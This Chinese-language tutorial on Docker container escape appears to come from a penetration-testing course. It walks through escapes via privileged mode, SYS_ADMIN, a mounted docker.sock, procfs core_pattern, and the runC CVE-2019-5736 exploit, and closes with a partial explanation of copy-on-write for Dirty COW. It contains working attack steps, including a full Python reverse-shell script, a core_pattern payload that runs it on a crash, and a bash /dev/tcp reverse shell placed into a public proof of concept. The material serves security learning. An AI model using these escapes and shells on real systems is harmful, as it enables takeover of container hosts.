Docker容器逃逸指的是攻击者通过劫持容器化业务逻辑或直接控制(CaaS等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力;攻击者利用这种命令执行能力,借助一些手段进而获得该容器所在的直接宿主机(当遇到“物理机运行虚拟机,虚拟机再运行容器”的场景时,该场景下的直接宿主机指容器外层的虚拟机)上某种权限下的命令执行能力。
因为docker使用的是隔离技术,因此容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。
注:接下来的文章中会提到“基本”逃逸,所谓“基本”,指的是攻击者在这种情况下暂时只挂载了宿主机的根目录,如果用ps查看进程,看到的依然是容器内进程,这是因为没有挂载宿主机的procfs。这一点在「不安全挂载导致的容器逃逸」的第二部分会谈到。
Docker已经将之前容器运行时的Capabilities黑名单机制改成默认禁止所有Capabilities,再以白名单形式赋予容器运行所需的最小权限。目前Docker默认赋予容器14项权限,分别是:CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER, CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID, CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE, CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE。
但是,用户可以通过修改容器环境配置或在运行容器时制定参数来调整约束。
特权模式最初被引入docker时,其核心作用是允许容器内的root用户拥有外部物理机的root权限,此前容器内的root用户只有外部物理机普通用户的权限。
当操作者执行docker run --privileged时,docker将允许容器访问宿主机上的所有设备,可以获取大量设备文件的访问权限,并可以执行mount命令进行挂载。具体来说,攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
宿主机的磁盘设备信息
可以看到,我们成功挂载了宿主机磁盘设备到/host目录下,并使用chroot指令将容器根目录切换为挂载的宿主机根目录。
除了使用特权模式启动docker会引起docker容器逃逸,使用功能机制也会造成这种情况。
当容器以--cap-add=SYS_ADMIN启动时,容器进程就会被允许执行mount、umount等一系列系统管理命令,如果攻击者此时将外部设备目录挂载在容器中就会发生容器逃逸。
# --security-opt apparmor=unconfined:由于默认情况下会开启AppArmor配置,从而保证docker以严格模式运行使用权限限制较高。这里改为unconfined表示去除默认的AppArmor配置,即不开启严格模式运行容器。
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash
为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提高挂载宿主机目录到虚拟机的功能。容器同样如此,但是将宿主机上的敏感文件或目录挂载到容器内部往往会带来安全问题。
Docker Socket是Docker守护进程监听的UNIX域套接字,用来与守护进程通信(查询或下发命令)。如果在攻击者可控的容器内挂载了此套接字文件(/var/run/docker.sock),容器逃逸就会变得很容易。
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
# 进入容器
ls -al /var/run/docker.sock
# 安装docker-ce-cli
apt-get update
apt-get install ca-certificates curl gnupg lsb-release
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-get install software-properties-common
apt-get update
add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
apt-get install docker-ce docker-ce-cli containerd.io
# 利用此客户端通过docker socket与docker守护进程通信,发送命令创建并运行一个新的容器
docker ps # 可发现此时的返回结果是宿主机上的容器进程
docker run -it -v /:/host ubuntu:18.04 /bin/bash # 创建容器并将宿主机根目录挂载到新创建的容器中
chroot /host # 使用chroot将根目录切换到挂载的宿主机根目录
procfs 是进程文件系统的缩写(proc filesystem),是一个伪文件系统(启动时动态生成的文件系统),它动态反映系统内进程以及其他组件的状态,其中有许多非常敏感、重要的文件。因此将宿主机的procfs挂载到不受控的容器中非常危险,尤其是在该容器内默认启用root权限,且没有为这个容器开启user namespace时。docker默认情况下不会为容器开启user namespace。
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。因此这种逃逸方式可以通过进程崩溃来触发。
攻击者进入一个挂载了宿主机procfs的容器中,具有root权限,然后向宿主机procfs写入payload,接着制造崩溃,触发内存转储。
# 创建并启动一个容器,将/proc/sys/kernel/core_pattern挂载到容器的/host/proc/sys/kernel/core_pattern位置
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04
# 查找名为core_pattern的文件,如果找到两个,说明可能是挂载了宿主机的procfs
find / -name core_pattern
cat /proc/mounts | grep docker # 返回结果中:workdir=/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/work
# 安装vim+gcc
apt-get update -y && apt-get install vim gcc -y
启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过此命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。
# 创建反弹shell脚本 vim /tmp/.x.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "IP_ADDRESS"
lport = PORT
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
chmod 777 /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
攻击端机器开启监听。
# 在容器内创建一段可以崩溃的程序 vim x.c
#include
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
# 编译执行
gcc x.c -o x
./x
相关程序漏洞指的是参与到容器生态中的服务端、客户端程序自身存在的漏洞。下图展示了操作系统之上的容器及容器集群环境的程序组件。
在容器世界中,真正负责创建、修改和销毁容器的组件实际上是容器运行时。
当我们执行如docker exec等命令时,底层实际上是容器运行时在操作。例如runC,相应地,runc exec命令会被执行。最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
指向进程自身对应的本地程序文件 (例如我们执行 ls,/proc/[PID]/exe 就指向 /bin/ls)。它的特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符(file descriptor),而非传统的打开方式做路径解析和文件查找。这样一来,它实际上绕过了 mnt 命名空间及 chroot 对一个进程能够访问到的文件路径的限制。
那么,在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉。这样一来,下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。
漏洞原理及利用思路如下:
runC在对容器的整个生存周期进行管理时,它不可避免地会加入到容器中进行一些行为,比如执行runc run创建容器,以及执行runc exec指令帮助用户对容器进行操作时,它都需要先加入到容器内部执行一些操作。当它加入到容器后,容器内的攻击者可以看到/proc目录下的runc进程,进而使用此进程的magic links这种特殊的符号链接找到宿主机上的runc程序,从而对该程序进行写入,实现写runc操作。
从上面这种图中我们注意到还存在runc init这个进程。事实上,这个进程是runC在容器内部的初始化进程。在初始化工作完成后,它将负责执行用户在docker exec命令中指定的具体命令。为什么不直接修改runc init进程的/proc/[runc-PID]/exe,而是等待其执行execve系统调用后才去修改呢?一方面是由于从runC在容器内初始化到执行execve的时间非常短,很难把握时机;另一方面是因为CVE-2016-9962补丁限制这种操作。
注:如果宿主机系统为ubuntu 18.04,可以使用开源的metarget项目一键部署漏洞环境。github:https://github.com/Metarget/metarget,介绍推文:Metarget:云原生攻防靶场开源啦!。安装metarget之后可以执行命令:
./metarget cnv install cve-2019-5736
如果在其他机器上部署,可以使用以下流程
# docker版本<= 18.09.2; runC版本<=1.0-rc6。
# 复现前需给机器打好快照或备份/usr/bin/docker-runc文件,因为漏洞利用结束会造成runc文件被修改,docker无法正常使用
# 移除当前安装的docker
yum remove docker-ce docker-ce-cli containerd.io
yum install -y yum-utils device-mapper-persistent-data lvm2
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
# 列出可用版本
yum list docker-ce --showduplicates | sort -r
yum install docker-ce-18.03.1.ce-1.el7.centos -y
# 拉取poc,进入目录下
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
# 修改main.go文件中的payload
var payload = "#! /bin/bash \n bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1"
# 编译go文件
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 拉取ubuntu镜像,运行一个容器
docker pull ubuntu:18.04
docker run -it --net=host ubuntu:18.04 /bin/bash # 进去后暂不退出 终端1
docker cp main id:/home# 打开另一个终端输入此命令 终端2
cd /home # 终端1
chmod 777 main# 终端1
./main# 终端1
docker exec -it id /bin/sh# 终端2
main.go文件:
终端1:
终端2:
在 Linux 系统中,调用fork
系统调用创建子进程时,并不会把父进程所有占用的内存页复制一份,而是与父进程共用相同的内存页,而当子进程或者父进程对内存页进行修改时才会进行复制 —— 这就是著名的写时复制(Copy On Write)
机制。
首先需要清楚Linux采用虚拟内存技术。早期计算机运行程序时,需要将程序全部装入内存,然后运行。但运行多个程序时会出现以下问题:
Linux将虚存空间分成若干大小相等的存储分区,这样的分区叫做页(4K),为了换入换出方便,物理内存按大小分为页框(4K)。内存分配以页为单位。页与页框通过页表(映射表)建立联系。
虚拟内存与物理内存需要进行映射才可使用,当不同进程的虚拟内存地址映射到相同物理内存地址时,就实现了共享内存机制。
进程A的虚拟内存M与进程B的虚拟内存M'映射到了相同物理内存G,当修改进程A虚拟内存M的数据时,进程B虚拟内存M'的数据也会随之改变。
因此,出现了写时复制机制。
写时复制的原理大概如下:
创建子进程时,将父进程的虚拟内存与物理内存映射关系复制到子进程中,并将内存设置为只读(设置为只读是为了当对内存进行写操作时触发缺页异常)。
当子进程或者父进程对内存数据进行修改时,便会触发写时复制机制:将原来的内存页复制一份新的,并重新设置其内存映射关系,将父子进程的内存读写权限设置为可读写。
当创建子进程时,父子进程指向相同的物理内存,而不是将父进程所占用的物理内存复制一份。这样做的好处有两个:
如上图所示,当父进程调用fork创建子进程时,父进程的虚拟内存页M与子进程的虚拟内存页M映射到相同的物理内存页G,并且把父进程与子进程的虚拟内存页M都设置为只读(因为设置为只读后,对内存页进行写操作时,将会发生缺页异常,从而内核可以在缺页异常处理函数中进行物理内存页的复制)。
当子进程对虚拟内存页M进行写操作,便会触发缺页异常(因为已经将虚拟内存页M设置为只读)。在缺页异常处理函数中,对物理内存页G进行复制一份新的物理内存页G',并且将子进程的虚拟内存页M映射到物理内存页G',同时将父子进程的虚拟内存页M设置为可读写。
可参考Linux内网渗透(一)——容器逃逸-黑客培训-网盾网络安全培训
参考资料:
参考视频: